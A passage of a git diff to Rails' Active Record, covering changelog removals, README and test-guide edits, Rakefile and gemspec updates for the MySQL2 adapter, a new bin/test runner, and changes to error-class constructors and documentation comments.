to remove - the column on MySQL. - - Fixes #18664. - - *Yves Senn* - -* `find_in_batches` now accepts an `:end_at` parameter that complements the `:start` - parameter to specify where to stop batch processing. - - *Vipul A M* - -* Fix a rounding problem for PostgreSQL timestamp columns. - - If a timestamp column has a precision specified, it needs to - format according to that. - - *Ryuta Kamizono* - -* Respect the database default charset for `schema_migrations` table. - - The charset of `version` column in `schema_migrations` table depends - on the database default charset and collation rather than the encoding - of the connection. - - *Ryuta Kamizono* - -* Raise `ArgumentError` when passing `nil` or `false` to `Relation#merge`. - - These are not valid values to merge in a relation, so it should warn users - early. - - *Rafael Mendonça França* - -* Use `SCHEMA` instead of `DB_STRUCTURE` for specifying a structure file. - - This makes the db:structure tasks consistent with test:load_structure. - - *Dieter Komendera* - -* Respect custom primary keys for associations when calling `Relation#where` - - Fixes #18813. - - *Sean Griffin* - -* Fix several edge cases which could result in a counter cache updating - twice or not updating at all for `has_many` and `has_many :through`. - - Fixes #10865. - - *Sean Griffin* - -* Foreign keys added by migrations were given random, generated names. This - meant a different `structure.sql` would be generated every time a developer - ran migrations on their machine. - - The generated part of foreign key names is now a hash of the table name and - column name, which is consistent every time you run the migration. - - *Chris Sinjakli* - -* Validation errors would be raised for parent records when an association - was saved when the parent had `validate: false`. It should not be the - responsibility of the model to validate an associated object unless the - object was created or modified by the parent. - - This fixes the issue by skipping validations if the parent record is - persisted, not changed, and not marked for destruction. - - Fixes #17621. - - *Eileen M. Uchitelle, Aaron Patterson* - -* Fix n+1 query problem when eager loading nil associations (fixes #18312) - - *Sammy Larbi* - -* Change the default error message from `can't be blank` to `must exist` for - the presence validator of the `:required` option on `belongs_to`/`has_one` - associations. - - *Henrik Nygren* - -* Fixed ActiveRecord::Relation#group method when an argument is an SQL - reserved key word: - - Example: - - SplitTest.group(:key).count - Property.group(:value).count - - *Bogdan Gusiev* - -* Added the `#or` method on ActiveRecord::Relation, allowing use of the OR - operator to combine WHERE or HAVING clauses. - - Example: - - Post.where('id = 1').or(Post.where('id = 2')) - # => SELECT * FROM posts WHERE (id = 1) OR (id = 2) - - *Sean Griffin*, *Matthew Draper*, *Gael Muller*, *Olivier El Mekki* - -* Don't define autosave association callbacks twice from - `accepts_nested_attributes_for`. - - Fixes #18704. - - *Sean Griffin* - -* Integer types will no longer raise a `RangeError` when assigning an - attribute, but will instead raise when going to the database. - - Fixes several vague issues which were never reported directly. See the - commit message from the commit which added this line for some examples. - - *Sean Griffin* - -* Values which would error while being sent to the database (such as an - ASCII-8BIT string with invalid UTF-8 bytes on SQLite3), no longer error on - assignment. They will still error when sent to the database, but you are - given the ability to re-assign it to a valid value. - - Fixes #18580. - - *Sean Griffin* - -* Don't remove join dependencies in `Relation#exists?` - - Fixes #18632. - - *Sean Griffin* - -* Invalid values assigned to a JSON column are assumed to be `nil`. - - Fixes #18629. - - *Sean Griffin* - -* Add `ActiveRecord::Base#accessed_fields`, which can be used to quickly - discover which fields were read from a model when you are looking to only - select the data you need from the database. - - *Sean Griffin* - -* Introduce the `:if_exists` option for `drop_table`. - - Example: - - drop_table(:posts, if_exists: true) - - That would execute: - - DROP TABLE IF EXISTS posts - - If the table doesn't exist, `if_exists: false` (the default) raises an - exception whereas `if_exists: true` does nothing. - - *Cody Cutrer*, *Stefan Kanev*, *Ryuta Kamizono* - -* Don't run SQL if attribute value is not changed for update_attribute method. - - *Prathamesh Sonpatki* - -* `time` columns can now get affected by `time_zone_aware_attributes`. If you have - set `config.time_zone` to a value other than `'UTC'`, they will be treated - as in that time zone by default in Rails 5.1. If this is not the desired - behavior, you can set - - ActiveRecord::Base.time_zone_aware_types = [:datetime] - - A deprecation warning will be emitted if you have a `:time` column, and have - not explicitly opted out. - - Fixes #3145. - - *Sean Griffin* - -* Tests now run after_commit callbacks. You no longer have to declare - `uses_transaction ‘test name’` to test the results of an after_commit. - - after_commit callbacks run after committing a transaction whose parent - is not `joinable?`: un-nested transactions, transactions within test cases, - and transactions in `console --sandbox`. - - *arthurnn*, *Ravil Bayramgalin*, *Matthew Draper* - -* `nil` as a value for a binary column in a query no longer logs as - "<NULL binary data>", and instead logs as just "nil". - - *Sean Griffin* - -* `attribute_will_change!` will no longer cause non-persistable attributes to - be sent to the database. - - Fixes #18407. - - *Sean Griffin* - -* Remove support for the `protected_attributes` gem. - - *Carlos Antonio da Silva*, *Roberto Miranda* - -* Fix accessing of fixtures having non-string labels like Fixnum. - - *Prathamesh Sonpatki* - -* Remove deprecated support to preload instance-dependent associations. - - *Yves Senn* - -* Remove deprecated support for PostgreSQL ranges with exclusive lower bounds. - - *Yves Senn* - -* Remove deprecation when modifying a relation with cached Arel. - This raises an `ImmutableRelation` error instead. - - *Yves Senn* - -* Added `ActiveRecord::SecureToken` in order to encapsulate generation of - unique tokens for attributes in a model using `SecureRandom`. - - *Roberto Miranda* - -* Change the behavior of boolean columns to be closer to Ruby's semantics. - - Before this change we had a small set of "truthy", and all others are "falsy". - - Now, we have a small set of "falsy" values and all others are "truthy" matching - Ruby's semantics. - - *Rafael Mendonça França* - -* Deprecate `ActiveRecord::Base.errors_in_transactional_callbacks=`. - - *Rafael Mendonça França* - -* Change transaction callbacks to not swallow errors. - - Before this change any errors raised inside a transaction callback - were getting rescued and printed in the logs. - - Now these errors are not rescued anymore and just bubble up, as the other callbacks. - - *Rafael Mendonça França* - -* Remove deprecated `sanitize_sql_hash_for_conditions`. - - *Rafael Mendonça França* - -* Remove deprecated `Reflection#source_macro`. - - *Rafael Mendonça França* - -* Remove deprecated `symbolized_base_class` and `symbolized_sti_name`. - - *Rafael Mendonça França* - -* Remove deprecated `ActiveRecord::Base.disable_implicit_join_references=`. - - *Rafael Mendonça França* - -* Remove deprecated access to connection specification using a string accessor. - - Now all strings will be handled as a URL. - - *Rafael Mendonça França* - -* Change the default `null` value for `timestamps` to `false`. - - *Rafael Mendonça França* - -* Return an array of pools from `connection_pools`. - - *Rafael Mendonça França* - -* Return a null column from `column_for_attribute` when no column exists. - - *Rafael Mendonça França* - -* Remove deprecated `serialized_attributes`. - - *Rafael Mendonça França* - -* Remove deprecated automatic counter caches on `has_many :through`. - - *Rafael Mendonça França* - -* Change the way in which callback chains can be halted. - - The preferred method to halt a callback chain from now on is to explicitly - `throw(:abort)`. - In the past, returning `false` in an ActiveRecord `before_` callback had the - side effect of halting the callback chain. - This is not recommended anymore and, depending on the value of the - `config.active_support.halt_callback_chains_on_return_false` option, will - either not work at all or display a deprecation warning. - - *claudiob* - -* Clear query cache on rollback. - - *Florian Weingarten* - -* Fix setting of foreign_key for through associations when building a new record. - - Fixes #12698. - - *Ivan Antropov* - -* Improve dumping of the primary key. If it is not a default primary key, - correctly dump the type and options. - - Fixes #14169, #16599. - - *Ryuta Kamizono* - -* Format the datetime string according to the precision of the datetime field. - - Incompatible to rounding behavior between MySQL 5.6 and earlier. - - In 5.5, when you insert `2014-08-17 12:30:00.999999` the fractional part - is ignored. In 5.6, it's rounded to `2014-08-17 12:30:01`: - - http://bugs.mysql.com/bug.php?id=68760 - - *Ryuta Kamizono* - -* Allow a precision option for MySQL datetimes. - - *Ryuta Kamizono* - -* Fixed automatic `inverse_of` for models nested in a module. - - *Andrew McCloud* - -* Change `ActiveRecord::Relation#update` behavior so that it can - be called without passing ids of the records to be updated. - - This change allows updating multiple records returned by - `ActiveRecord::Relation` with callbacks and validations. - - # Before - # ArgumentError: wrong number of arguments (1 for 2) - Comment.where(group: 'expert').update(body: "Group of Rails Experts") - - # After - # Comments with group expert updated with body "Group of Rails Experts" - Comment.where(group: 'expert').update(body: "Group of Rails Experts") - - *Prathamesh Sonpatki* - -* Fix `reaping_frequency` option when the value is a string. - - This usually happens when it is configured using `DATABASE_URL`. - - *korbin* - -* Fix error message when trying to create an associated record and the foreign - key is missing. - - Before this fix the following exception was being raised: - - NoMethodError: undefined method `val' for #<Arel::Nodes::BindParam:0x007fc64d19c218> - - Now the message is: - - ActiveRecord::UnknownAttributeError: unknown attribute 'foreign_key' for Model. - - *Rafael Mendonça França* - -* Fix change detection problem for PostgreSQL bytea type and - `ArgumentError: string contains null byte` exception with pg-0.18. - - Fixes #17680. - - *Lars Kanis* - -* When a table has a composite primary key, the `primary_key` method for - SQLite3 and PostgreSQL adapters was only returning the first field of the key. - Ensures that it will return nil instead, as Active Record doesn't support - composite primary keys. - - Fixes #18070. - - *arthurnn* - -* `validates_size_of` / `validates_length_of` do not count records - which are `marked_for_destruction?`. - - Fixes #7247. - - *Yves Senn* - -* Ensure `first!` and friends work on loaded associations. - - Fixes #18237. - - *Sean Griffin* - -* `eager_load` preserves readonly flag for associations. - - Closes #15853. - - *Takashi Kokubun* - -* Provide `:touch` option to `save()` to accommodate saving without updating - timestamps. - - Fixes #18202. - - *Dan Olson* - -* Provide a more helpful error message when an unsupported class is passed to - `serialize`. - - Fixes #18224. - - *Sean Griffin* - -* Add bigint primary key support for MySQL. - - Example: - - create_table :foos, id: :bigint do |t| - end - - *Ryuta Kamizono* - -* Support for any type of primary key. - - Fixes #14194. - - *Ryuta Kamizono* - -* Dump the default `nil` for PostgreSQL UUID primary key. - - *Ryuta Kamizono* - -* Add a `:foreign_key` option to `references` and associated migration - methods. The model and migration generators now use this option, rather than - the `add_foreign_key` form. - - *Sean Griffin* - -* Don't raise when writing an attribute with an out-of-range datetime passed - by the user. - - *Grey Baker* - -* Replace deprecated `ActiveRecord::Tasks::DatabaseTasks#load_schema` with - `ActiveRecord::Tasks::DatabaseTasks#load_schema_for`. - - *Yves Senn* - -* Fix bug with 'ActiveRecord::Type::Numeric' that caused negative values to - be marked as having changed when set to the same negative value. - - Closes #18161. - - *Daniel Fox* - -* Introduce `force: :cascade` option for `create_table`. Using this option - will recreate tables even if they have dependent objects (like foreign keys). - `db/schema.rb` now uses `force: :cascade`. This makes it possible to - reload the schema when foreign keys are in place. - - *Matthew Draper*, *Yves Senn* - -* `db:schema:load` and `db:structure:load` no longer purge the database - before loading the schema. This is left for the user to do. - `db:test:prepare` will still purge the database. - - Closes #17945. - - *Yves Senn* - -* Fix undesirable RangeError by `Type::Integer`. Add `Type::UnsignedInteger`. - - *Ryuta Kamizono* - -* Add `foreign_type` option to `has_one` and `has_many` association macros. - - This option enables to define the column name of associated object's type for polymorphic associations. - - *Ulisses Almeida*, *Kassio Borges* - -* Remove deprecated behavior allowing nested arrays to be passed as query - values. - - *Melanie Gilman* - -* Deprecate passing a class as a value in a query. Users should pass strings - instead. - - *Melanie Gilman* - -* `add_timestamps` and `remove_timestamps` now properly reversible with - options. - - *Noam Gagliardi-Rabinovich* - -* `ActiveRecord::ConnectionAdapters::ColumnDumper#column_spec` and - `ActiveRecord::ConnectionAdapters::ColumnDumper#prepare_column_options` no - longer have a `types` argument. They should access - `connection#native_database_types` directly. - - *Yves Senn* - -Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activerecord/CHANGELOG.md) for previous changes. +Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/activerecord/CHANGELOG.md) for previous changes. diff --git a/activerecord/MIT-LICENSE b/activerecord/MIT-LICENSE index 7c2197229d..1f496cf280 100644 --- a/activerecord/MIT-LICENSE +++ b/activerecord/MIT-LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2004-2015 David Heinemeier Hansson +Copyright (c) 2004-2016 David Heinemeier Hansson Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the @@ -17,4 +17,4 @@ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/activerecord/README.rdoc b/activerecord/README.rdoc index f4777919d3..cfbee4d6f7 100644 --- a/activerecord/README.rdoc +++ b/activerecord/README.rdoc @@ -26,13 +26,13 @@ The Product class is automatically mapped to the table named "products", which might look like this: CREATE TABLE products ( - id int(11) NOT NULL auto_increment, + id int NOT NULL auto_increment, name varchar(255), PRIMARY KEY (id) ); -This would also define the following accessors: `Product#name` and -`Product#name=(new_name)`. +This would also define the following accessors: <tt>Product#name</tt> and +<tt>Product#name=(new_name)</tt>. * Associations between objects defined by simple class methods. @@ -125,7 +125,7 @@ This would also define the following accessors: `Product#name` and ) {Learn more}[link:classes/ActiveRecord/Base.html] and read about the built-in support for - MySQL[link:classes/ActiveRecord/ConnectionAdapters/MysqlAdapter.html], + MySQL[link:classes/ActiveRecord/ConnectionAdapters/Mysql2Adapter.html], PostgreSQL[link:classes/ActiveRecord/ConnectionAdapters/PostgreSQLAdapter.html], and SQLite3[link:classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html]. @@ -138,7 +138,7 @@ This would also define the following accessors: `Product#name` and * Database agnostic schema management with Migrations. - class AddSystemSettings < ActiveRecord::Migration + class AddSystemSettings < ActiveRecord::Migration[5.0] def up create_table :system_settings do |t| t.string :name @@ -188,7 +188,7 @@ Admit the Database: The latest version of Active Record can be installed with RubyGems: - % [sudo] gem install activerecord + $ gem install activerecord Source code can be downloaded as part of the Rails project on GitHub: @@ -215,4 +215,3 @@ Bug reports can be filed for the Ruby on Rails project here: Feature requests should be discussed on the rails-core mailing list here: * https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core - diff --git a/activerecord/RUNNING_UNIT_TESTS.rdoc b/activerecord/RUNNING_UNIT_TESTS.rdoc index bae40604b1..cd22f76d01 100644 --- a/activerecord/RUNNING_UNIT_TESTS.rdoc +++ b/activerecord/RUNNING_UNIT_TESTS.rdoc @@ -7,11 +7,11 @@ http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#setting-up- To run a specific test: - $ ruby -Itest test/cases/base_test.rb -n method_name + $ bundle exec ruby -Itest test/cases/base_test.rb -n method_name To run a set of tests: - $ ruby -Itest test/cases/base_test.rb + $ bundle exec ruby -Itest test/cases/base_test.rb You can also run tests that depend upon a specific database backend. For example: @@ -20,7 +20,6 @@ example: Simply executing <tt>bundle exec rake test</tt> is equivalent to the following: - $ bundle exec rake test:mysql $ bundle exec rake test:mysql2 $ bundle exec rake test:postgresql $ bundle exec rake test:sqlite3 @@ -42,7 +41,7 @@ parameters in +test/config.example.yml+ are. You can override the +connections:+ parameter in either file using the +ARCONN+ (Active Record CONNection) environment variable: - $ ARCONN=postgresql ruby -Itest test/cases/base_test.rb + $ ARCONN=postgresql bundle exec ruby -Itest test/cases/base_test.rb You can specify a custom location for the config file using the +ARCONFIG+ environment variable. diff --git a/activerecord/Rakefile b/activerecord/Rakefile index f1facac21b..46df733cfe 100644 --- a/activerecord/Rakefile +++ b/activerecord/Rakefile @@ -1,5 +1,4 @@ require 'rake/testtask' -require 'rubygems/package_task' require File.expand_path(File.dirname(__FILE__)) + "/test/config" require File.expand_path(File.dirname(__FILE__)) + "/test/support/config" @@ -18,14 +17,17 @@ def run_without_aborting(*tasks) abort "Errors running #{errors.join(', ')}" if errors.any? end -desc 'Run mysql, mysql2, sqlite, and postgresql tests by default' +desc 'Run mysql2, sqlite, and postgresql tests by default' task :default => :test -desc 'Run mysql, mysql2, sqlite, and postgresql tests' +task :package +task "package:clean" + +desc 'Run mysql2, sqlite, and postgresql tests' task :test do tasks = defined?(JRUBY_VERSION) ? %w(test_jdbcmysql test_jdbcsqlite3 test_jdbcpostgresql) : - %w(test_mysql test_mysql2 test_sqlite3 test_postgresql) + %w(test_mysql2 test_sqlite3 test_postgresql) run_without_aborting(*tasks) end @@ -33,7 +35,7 @@ namespace :test do task :isolated do tasks = defined?(JRUBY_VERSION) ? %w(isolated_test_jdbcmysql isolated_test_jdbcsqlite3 isolated_test_jdbcpostgresql) : - %w(isolated_test_mysql isolated_test_mysql2 isolated_test_sqlite3 isolated_test_postgresql) + %w(isolated_test_mysql2 isolated_test_sqlite3 isolated_test_postgresql) run_without_aborting(*tasks) end end @@ -44,7 +46,7 @@ namespace :db do task :drop => ['db:mysql:drop', 'db:postgresql:drop'] end -%w( mysql mysql2 postgresql sqlite3 sqlite3_mem db2 oracle jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb ).each do |adapter| +%w( mysql2 postgresql sqlite3 sqlite3_mem db2 oracle jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb ).each do |adapter| namespace :test do Rake::TestTask.new(adapter => "#{adapter}:env") { |t| adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/] @@ -84,29 +86,20 @@ end task "isolated_test_#{adapter}" => ["#{adapter}:env", "test:isolated:#{adapter}"] end -rule '.sqlite3' do |t| - sh %Q{sqlite3 "#{t.name}" "create table a (a integer); drop table a;"} -end - -task :test_sqlite3 => [ - 'test/fixtures/fixture_database.sqlite3', - 'test/fixtures/fixture_database_2.sqlite3' -] - namespace :db do namespace :mysql do desc 'Build the MySQL test databases' task :build do - config = ARTest.config['connections']['mysql'] - %x( mysql --user=#{config['arunit']['username']} -e "create DATABASE #{config['arunit']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ") - %x( mysql --user=#{config['arunit2']['username']} -e "create DATABASE #{config['arunit2']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ") + config = ARTest.config['connections']['mysql2'] + %x( mysql --user=#{config['arunit']['username']} --password=#{config['arunit']['password']} -e "create DATABASE #{config['arunit']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ") + %x( mysql --user=#{config['arunit2']['username']} --password=#{config['arunit2']['password']} -e "create DATABASE #{config['arunit2']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ") end desc 'Drop the MySQL test databases' task :drop do - config = ARTest.config['connections']['mysql'] - %x( mysqladmin --user=#{config['arunit']['username']} -f drop #{config['arunit']['database']} ) - %x( mysqladmin --user=#{config['arunit2']['username']} -f drop #{config['arunit2']['database']} ) + config = ARTest.config['connections']['mysql2'] + %x( mysqladmin --user=#{config['arunit']['username']} --password=#{config['arunit']['password']} -f drop #{config['arunit']['database']} ) + %x( mysqladmin --user=#{config['arunit2']['username']} --password=#{config['arunit2']['password']} -f drop #{config['arunit2']['database']} ) end desc 'Rebuild the MySQL test databases' @@ -122,7 +115,7 @@ namespace :db do # prepare hstore if %x( createdb --version ).strip.gsub(/(.*)(\d\.\d\.\d)$/, "\\2") < "9.1.0" - puts "Please prepare hstore data type. See http://www.postgresql.org/docs/9.0/static/hstore.html" + puts "Please prepare hstore data type. See http://www.postgresql.org/docs/current/static/hstore.html" end end @@ -151,18 +144,3 @@ task :lines do files = FileList["lib/active_record/**/*.rb"] CodeTools::LineStatistics.new(files).print_loc end - -spec = eval(File.read('activerecord.gemspec')) - -Gem::PackageTask.new(spec) do |p| - p.gem_spec = spec -end - -# Publishing ------------------------------------------------------ - -desc "Release to rubygems" -task :release => :package do - require 'rake/gemcutter' - Rake::Gemcutter::Tasks.new(spec).define - Rake::Task['gem:push'].invoke -end diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec index c88b9e8718..881dee13e4 100644 --- a/activerecord/activerecord.gemspec +++ b/activerecord/activerecord.gemspec @@ -7,13 +7,13 @@ Gem::Specification.new do |s| s.summary = 'Object-relational mapper framework (part of Rails).' s.description = 'Databases on Rails. Build a persistent domain model by mapping database tables to Ruby classes. Strong conventions for associations, validations, aggregations, migrations, and testing come baked-in.' - s.required_ruby_version = '>= 2.2.1' + s.required_ruby_version = '>= 2.2.2' s.license = 'MIT' s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' - s.homepage = 'http://www.rubyonrails.org' + s.homepage = 'http://rubyonrails.org' s.files = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.rdoc', 'examples/**/*', 'lib/**/*'] s.require_path = 'lib' @@ -24,5 +24,5 @@ Gem::Specification.new do |s| s.add_dependency 'activesupport', version s.add_dependency 'activemodel', version - s.add_dependency 'arel', '7.0.0.alpha' + s.add_dependency 'arel', '~> 7.0' end diff --git a/activerecord/bin/test b/activerecord/bin/test new file mode 100755 index 0000000000..7417b068bf --- /dev/null +++ b/activerecord/bin/test @@ -0,0 +1,19 @@ +#!/usr/bin/env ruby +COMPONENT_ROOT = File.expand_path("../../", __FILE__) +require File.expand_path("../tools/test", COMPONENT_ROOT) +module Minitest + def self.plugin_active_record_options(opts, options) + opts.separator "" + opts.separator "Active Record options:" + opts.on("-a", "--adapter [ADAPTER]", + "Run tests using a specific adapter (sqlite3, sqlite3_mem, mysql2, postgresql)") do |adapter| + ENV["ARCONN"] = adapter.strip + end + + opts + end +end + +Minitest.extensions.unshift 'active_record' + +exit Minitest.run(ARGV) diff --git a/activerecord/examples/performance.rb b/activerecord/examples/performance.rb index a5a1f284a0..c3c46c19c5 100644 --- a/activerecord/examples/performance.rb +++ b/activerecord/examples/performance.rb @@ -1,4 +1,3 @@ -require File.expand_path('../../../load_paths', __FILE__) require "active_record" require 'benchmark/ips' diff --git a/activerecord/examples/simple.rb b/activerecord/examples/simple.rb index 4ed5d80eb2..5a041e8417 100644 --- a/activerecord/examples/simple.rb +++ b/activerecord/examples/simple.rb @@ -1,4 +1,3 @@ -require File.expand_path('../../../load_paths', __FILE__) require 'active_record' class Person < ActiveRecord::Base diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb index 58a4694880..baa497dc98 100644 --- a/activerecord/lib/active_record.rb +++ b/activerecord/lib/active_record.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2004-2015 David Heinemeier Hansson +# Copyright (c) 2004-2016 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the @@ -40,6 +40,7 @@ module ActiveRecord autoload :CounterCache autoload :DynamicMatchers autoload :Enum + autoload :InternalMetadata autoload :Explain autoload :Inheritance autoload :Integration @@ -49,10 +50,13 @@ module ActiveRecord autoload :ModelSchema autoload :NestedAttributes autoload :NoTouching + autoload :TouchLater autoload :Persistence autoload :QueryCache autoload :Querying + autoload :CollectionCacheKey autoload :ReadonlyAttributes + autoload :RecordInvalid, 'active_record/validations' autoload :Reflection autoload :RuntimeRegistry autoload :Sanitization @@ -133,7 +137,6 @@ module ActiveRecord eager_autoload do autoload :AbstractAdapter - autoload :ConnectionManagement, "active_record/connection_adapters/abstract/connection_pool" end end diff --git a/activerecord/lib/active_record/aggregations.rb b/activerecord/lib/active_record/aggregations.rb index 3d497a30fb..3ff41ed81b 100644 --- a/activerecord/lib/active_record/aggregations.rb +++ b/activerecord/lib/active_record/aggregations.rb @@ -1,6 +1,6 @@ module ActiveRecord - # = Active Record Aggregations - module Aggregations # :nodoc: + # See ActiveRecord::Aggregations::ClassMethods for documentation + module Aggregations extend ActiveSupport::Concern def initialize_dup(*) # :nodoc: @@ -24,8 +24,8 @@ module ActiveRecord super end - # Active Record implements aggregation through a macro-like class method called +composed_of+ - # for representing attributes as value objects. It expresses relationships like "Account [is] + # Active Record implements aggregation through a macro-like class method called #composed_of + # for representing attributes as value objects. It expresses relationships like "Account [is] # composed of Money [among other things]" or "Person [is] composed of [an] address". Each call # to the macro adds a description of how the value objects are created from the attributes of # the entity object (when the entity is initialized either as a new object or from finding an @@ -33,7 +33,7 @@ module ActiveRecord # the database). # # class Customer < ActiveRecord::Base - # composed_of :balance, class_name: "Money", mapping: %w(balance amount) + # composed_of :balance, class_name: "Money", mapping: %w(amount currency) # composed_of :address, mapping: [ %w(address_street street), %w(address_city city) ] # end # @@ -120,12 +120,12 @@ module ActiveRecord # # It's also important to treat the value objects as immutable. Don't allow the Money object to have # its amount changed after creation. Create a new Money object with the new value instead. The - # Money#exchange_to method is an example of this. It returns a new value object instead of changing + # <tt>Money#exchange_to</tt> method is an example of this. It returns a new value object instead of changing # its own values. Active Record won't persist value objects that have been changed through means # other than the writer method. # # The immutable requirement is enforced by Active Record by freezing any object assigned as a value - # object. Attempting to change it afterwards will result in a RuntimeError. + # object. Attempting to change it afterwards will result in a +RuntimeError+. # # Read more about value objects on http://c2.com/cgi/wiki?ValueObject and on the dangers of not # keeping value objects immutable on http://c2.com/cgi/wiki?ValueObjectsShouldBeImmutable @@ -134,17 +134,17 @@ module ActiveRecord # # By default value objects are initialized by calling the <tt>new</tt> constructor of the value # class passing each of the mapped attributes, in the order specified by the <tt>:mapping</tt> - # option, as arguments. If the value class doesn't support this convention then +composed_of+ allows + # option, as arguments. If the value class doesn't support this convention then #composed_of allows # a custom constructor to be specified. # # When a new value is assigned to the value object, the default assumption is that the new value # is an instance of the value class. Specifying a custom converter allows the new value to be automatically # converted to an instance of value class if necessary. # - # For example, the NetworkResource model has +network_address+ and +cidr_range+ attributes that should be - # aggregated using the NetAddr::CIDR value class (http://www.ruby-doc.org/gems/docs/n/netaddr-1.5.0/NetAddr/CIDR.html). + # For example, the +NetworkResource+ model has +network_address+ and +cidr_range+ attributes that should be + # aggregated using the +NetAddr::CIDR+ value class (http://www.rubydoc.info/gems/netaddr/1.5.0/NetAddr/CIDR). # The constructor for the value class is called +create+ and it expects a CIDR address string as a parameter. - # New values can be assigned to the value object using either another NetAddr::CIDR object, a string + # New values can be assigned to the value object using either another +NetAddr::CIDR+ object, a string # or an array. The <tt>:constructor</tt> and <tt>:converter</tt> options can be used to meet # these requirements: # @@ -173,7 +173,7 @@ module ActiveRecord # # == Finding records by a value object # - # Once a +composed_of+ relationship is specified for a model, records can be loaded from the database + # Once a #composed_of relationship is specified for a model, records can be loaded from the database # by specifying an instance of the value object in the conditions hash. The following example # finds all customers with +balance_amount+ equal to 20 and +balance_currency+ equal to "USD": # @@ -186,7 +186,7 @@ module ActiveRecord # Options are: # * <tt>:class_name</tt> - Specifies the class name of the association. Use it only if that name # can't be inferred from the part id. So <tt>composed_of :address</tt> will by default be linked - # to the Address class, but if the real class name is CompanyAddress, you'll have to specify it + # to the Address class, but if the real class name is +CompanyAddress+, you'll have to specify it # with this option. # * <tt>:mapping</tt> - Specifies the mapping of entity attributes to attributes of the value # object. Each mapping is represented as an array where the first item is the name of the diff --git a/activerecord/lib/active_record/association_relation.rb b/activerecord/lib/active_record/association_relation.rb index ee0bb8fafe..c18e88e4cf 100644 --- a/activerecord/lib/active_record/association_relation.rb +++ b/activerecord/lib/active_record/association_relation.rb @@ -10,7 +10,7 @@ module ActiveRecord end def ==(other) - other == to_a + other == records end def build(*args, &block) diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb index 5e3e5f709b..5a973fa801 100644 --- a/activerecord/lib/active_record/associations.rb +++ b/activerecord/lib/active_record/associations.rb @@ -5,95 +5,170 @@ require 'active_record/errors' module ActiveRecord class AssociationNotFoundError < ConfigurationError #:nodoc: - def initialize(record, association_name) - super("Association named '#{association_name}' was not found on #{record.class.name}; perhaps you misspelled it?") + def initialize(record = nil, association_name = nil) + if record && association_name + super("Association named '#{association_name}' was not found on #{record.class.name}; perhaps you misspelled it?") + else + super("Association was not found.") + end end end class InverseOfAssociationNotFoundError < ActiveRecordError #:nodoc: - def initialize(reflection, associated_class = nil) - super("Could not find the inverse association for #{reflection.name} (#{reflection.options[:inverse_of].inspect} in #{associated_class.nil? ? reflection.class_name : associated_class.name})") + def initialize(reflection = nil, associated_class = nil) + if reflection + super("Could not find the inverse association for #{reflection.name} (#{reflection.options[:inverse_of].inspect} in #{associated_class.nil? ? reflection.class_name : associated_class.name})") + else + super("Could not find the inverse association.") + end end end class HasManyThroughAssociationNotFoundError < ActiveRecordError #:nodoc: - def initialize(owner_class_name, reflection) - super("Could not find the association #{reflection.options[:through].inspect} in model #{owner_class_name}") + def initialize(owner_class_name = nil, reflection = nil) + if owner_class_name && reflection + super("Could not find the association #{reflection.options[:through].inspect} in model #{owner_class_name}") + else + super("Could not find the association.") + end end end class HasManyThroughAssociationPolymorphicSourceError < ActiveRecordError #:nodoc: - def initialize(owner_class_name, reflection, source_reflection) - super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' on the polymorphic object '#{source_reflection.class_name}##{source_reflection.name}' without 'source_type'. Try adding 'source_type: \"#{reflection.name.to_s.classify}\"' to 'has_many :through' definition.") + def initialize(owner_class_name = nil, reflection = nil, source_reflection = nil) + if owner_class_name && reflection && source_reflection + super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' on the polymorphic object '#{source_reflection.class_name}##{source_reflection.name}' without 'source_type'. Try adding 'source_type: \"#{reflection.name.to_s.classify}\"' to 'has_many :through' definition.") + else + super("Cannot have a has_many :through association.") + end end end class HasManyThroughAssociationPolymorphicThroughError < ActiveRecordError #:nodoc: - def initialize(owner_class_name, reflection) - super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' which goes through the polymorphic association '#{owner_class_name}##{reflection.through_reflection.name}'.") + def initialize(owner_class_name = nil, reflection = nil) + if owner_class_name && reflection + super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' which goes through the polymorphic association '#{owner_class_name}##{reflection.through_reflection.name}'.") + else + super("Cannot have a has_many :through association.") + end end end class HasManyThroughAssociationPointlessSourceTypeError < ActiveRecordError #:nodoc: - def initialize(owner_class_name, reflection, source_reflection) - super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' with a :source_type option if the '#{reflection.through_reflection.class_name}##{source_reflection.name}' is not polymorphic. Try removing :source_type on your association.") + def initialize(owner_class_name = nil, reflection = nil, source_reflection = nil) + if owner_class_name && 